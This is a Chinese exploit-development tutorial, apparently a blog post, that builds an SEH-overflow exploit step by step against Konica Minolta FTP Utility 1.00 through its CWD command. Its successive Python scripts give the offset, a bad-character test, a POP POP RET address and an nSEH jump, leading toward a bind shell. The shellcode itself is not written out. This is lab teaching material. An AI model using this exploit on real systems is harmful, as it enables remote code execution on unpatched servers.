linux重定向%3c%3c,跟小黑学漏洞利用开发之SEH溢出

书接上回,我们继续研究如何在Win32系统上利用缓冲区漏洞,完成我们新漏洞利用开发,主要是关于SEH漏洞利用问题。相比上一篇直接覆盖EIP相比,EIP覆盖此效果虽然很好,但也会存在稳定性问题(如无法找到jmp指令,或者需要地址硬编码)并且还会遇到缓冲区大小问题,从而可能限制用于目标机器shellcode空间问题。写到这里有些人想说对于SafeSEH和SEHOP绕过利用这个我们有机会在后续篇文章研究。

1.准备

WindowsXP—Sp3(目标机)

kali-linux(攻击机)

Konica Minolta FTP Utility 1.00

ImmunityDebugger 1.85(调试工具)—x64、OD等动态调试器都可以

需要对了解X86汇编

对python有一定了解

2.关于SEH

SEH俗称“结构化处理程序”,也有叫“SEH链” 当程序出现除零、非法内存访问、文件打开错误、内存不足等问题,Windows为其提供一次补救机会,即异常处理机制。SEH即异常处理结构体,如下图,每个SEH包含两个DWORD指针,处理异常必须满足两个要去:(1)一个指向当前异常处理函数的指针(SEH) (2)指向下一个异常处理结构的指针(Nseh). 因为Windows堆栈是向下生长的。所以我们看到异常处理结构是颠倒的[nSEH…[SEH]。详情如下图所示。

d3dc1892d4fd8a20af8eb34753de70bd.png

到此可以思考,此类问题跟开篇简单的缓冲区溢出有啥区别?如果我们例如上篇文章发送大量异常数据并且触发了SEH处理机制,windows会把寄存器清理,因此不能向往常跳EIP转执行Shellcode。值得庆幸的地方是此机制存在缺陷,我们只需要pop、pop、retn指令覆盖SEH,nSEH地址保存在ESP+8处,pop、pop、retn执行后最终会跳到nSEH执行,至此我们可以控制nSEH,就可以向上篇文章中一样控制shellcode。大致利用流程如下图所示。

1edf674e3d4861bf64832f9081d60523.png

综上所述,我们的基本SEH利用需要以下条件:

nSEH的偏移量

nSEH 代码跳转跳过SEH

寻找包含POP POP RET指令的地址

编写Shellcode

3.控制SEH和nSEH

下面此漏洞利用POC,首先登陆FTP服务器,发送“CWD”命令,此命令是改变工作目录,此命令后发送到10000个A溢出数据以确定是否引发程序崩溃以及控制SEH链。此POC在实战中唯一缺点是我们需要一个FTP用户。

#!/usr/bin/python

import socket

import sys

evil = “A”*10000

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect((‘192.168.137.128’,21))

data = s.recv(1024)

s.send(‘USER anonymous’ + ‘\r\n’)

data = s.recv(1024)

s.send(‘PASS anonymous’ + ‘\r\n’)

data = s.recv(1024)

s.send(‘CWD ‘ + evil + ‘\r\n’)

data = s.recv(1024)

s.send(‘QUIT\r\n’)

s.close

程序发送的崩溃,ImmunityDebugger堆栈窗口,如果查看此线程的堆栈(右下窗口),将能够看到从00CAF978开始的SEH链。

9ab429eff704b6cc1312cc77549346cf.png

在Immunity中查看SEH链的最简单的方法是按Alt + S;我们看到nSEH和SEH已经覆盖。

0b8ca8b5d5e3632b0be9f27688f02893.png

现在我们需要确定控制nSEH和SEH所需要的字节数。此时我们需要利用非重复性字符串确认偏移量使用前篇小工具msf-pattern_create生成唯一字符串,以确定SEH覆盖偏移量长度。详情代码如下。

#!/usr/bin/python

import socket

import sys

#evil = “A”*10000

evil =

“Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8AcAh7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A*****************省略***************

iAku4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M”

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect((‘192.168.137.128’,21))

data = s.recv(1024)

s.send(‘USER anonymous’ + ‘\r\n’)

data = s.recv(1024)

s.send(‘PASS anonymous’ + ‘\r\n’)

data = s.recv(1024)

s.send(‘CWD ‘ + evil + ‘\r\n’)

data = s.recv(1024)

s.send(‘QUIT\r\n’)

s.close

重新发起请求,我们查看是否重写nSEH和SEH,同时我们可以利用几种方法确认偏移量,如metasploit中msf-pattern_offset,或者mona工具使用命令!mona findmsp。如图所示,计算出偏移为1037个字节就可以控制SEH链。

6ca3d797349b72ae5c54d805a5e9630a.png

确认nSEH和SEH偏移量。我们调整python脚本,并用1037个“ A”填充缓冲区,确保足够覆盖。nSEH指针填充4个字节,为SEH填充4个字节,并在Immunity中确认SEH链的结果。代码如下。

#!/usr/bin/python

import socket

import sys

#offset = 1037

evil = “A”*1037 + “B” * 4 + “C” * 4 + “D” * (10000-1037-4-4)

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect((‘192.168.137.128’,21))

data = s.recv(1024)

s.send(‘USER anonymous’ + ‘\r\n’)

data = s.recv(1024)

s.send(‘PASS anonymous’ + ‘\r\n’)

data = s.recv(1024)

s.send(‘CWD ‘ + evil + ‘\r\n’)

data = s.recv(1024)

s.send(‘QUIT\r\n’)

s.close

4d037143195f0c58c4bee9347dd766d8.png

4.坏字节

通过观察,发现位于B和C之后D的缓冲区。这是一个存储并检验所有坏字节的好地方。

#!/usr/bin/python

import socket

import sys

#offset = 1037

badchars = (“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10”

“\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20”

“\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30”

“\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40”

“\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50”

“\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60”

“\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70”

“\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80”

“\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90”

“\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0”

“\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0”

“\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0”

“\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0”

“\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0”

“\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0”

“\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”)

evil = “A”*1037 + “B” * 4 + “C” * 4 + badchars + “D” * (10000-1037-4-4-len(badchars))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect((‘192.168.137.128’,21))

data = s.recv(1024)

s.send(‘USER anonymous’ + ‘\r\n’)

data = s.recv(1024)

s.send(‘PASS anonymous’ + ‘\r\n’)

data = s.recv(1024)

s.send(‘CWD ‘ + evil + ‘\r\n’)

data = s.recv(1024)

s.send(‘QUIT\r\n’)

s.close

再次重新发起请求。可以看出,除了NULL(\x00)字节外,没有其他坏字符被识别。

7122db8f6258c7f5246a91c05c8d0e01.png

5.寻找未保护Pop Pop ret指令模块

现在,我们需要寻找在未开启ALSR、safeSEH保护的Pop Pop ret模块,在Immunity中使用mona,可以通过!mona seh命令,专用于查找此SEH模块,当然metasploit也提供相关工具,有兴趣小伙伴可以了解下。如图所示,使用目标程序自带动态链接库的KMFtpCM.dll中0x122063b0地址可以为我们所用。

54fafd0ecaff89309be0ba56529783bd.png

更新代码如下

#!/usr/bin/python

import socket

import sys

#offset = 1037

#seh =0x122063b0

nseh = “\x42\x42\x42\x42”

seh = “\xb0\x63\x20\x12”

evil = “A”*1037 + nseh + seh + “D” * (10000-1037-4-4)

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect((‘192.168.137.128’,21))

data = s.recv(1024)

s.send(‘USER anonymous’ + ‘\r\n’)

data = s.recv(1024)

s.send(‘PASS anonymous’ + ‘\r\n’)

data = s.recv(1024)

s.send(‘CWD ‘ + evil + ‘\r\n’)

data = s.recv(1024)

s.send(‘QUIT\r\n’)

s.close

修改后代码有效,并且SEH被pop pop ret 命令覆盖,通过按SHIFT + F9忽略异常运行,被重定向到POP POP RET指令的地址

e7a96857466db413e819469e3361164b.png

进入POP POP RET指令将重定向到nSEH记录,该记录包含B的4个字节

dc041b8e6ef820339ce0fa7a8099874a.png

6.跳转指令

现在最后一步我们需要确定跳转指令到shellcode缓冲区大小,通过计算最终跳转地址计算地址为十六进制670换算十进制1648字节。此空间足以容纳Shellcode。

fe10f942d6c67de1a39091db6c3472f6.png

此时我们可以使用metasploit中小工具msf-nasm_shell取得opcode。如图所示。

word-image-33.png

更新代码如下

#!/usr/bin/python

import socket

import sys

#offset = 1037

#seh =0x122063b0

nseh = “\xEB\x12\x90\x90”

seh = “\xb0\x63\x20\x12”

evil = “A”*1037 + nseh + seh + “D” * (10000-1037-4-4)

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect((‘192.168.137.128’,21))

data = s.recv(1024)

s.send(‘USER anonymous’ + ‘\r\n’)

data = s.recv(1024)

s.send(‘PASS anonymous’ + ‘\r\n’)

data = s.recv(1024)

s.send(‘CWD ‘ + evil + ‘\r\n’)

data = s.recv(1024)

s.send(‘QUIT\r\n’)

s.close

下面是大概执行过程

deb9b61cc803edda458ccc8075dffe00.png

通过metasploit使用msfvenom创建开启本地shell,需要注意将“\x00”字符排除在外。如图所示。

word-image-35.png

7.漏洞利用

执行最终漏洞利用代码,shellcode开启本地监听端口4444/TCP。连接即可获取最终Shell。

67596ff3d01c92cfe2c84b409e2e357f.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值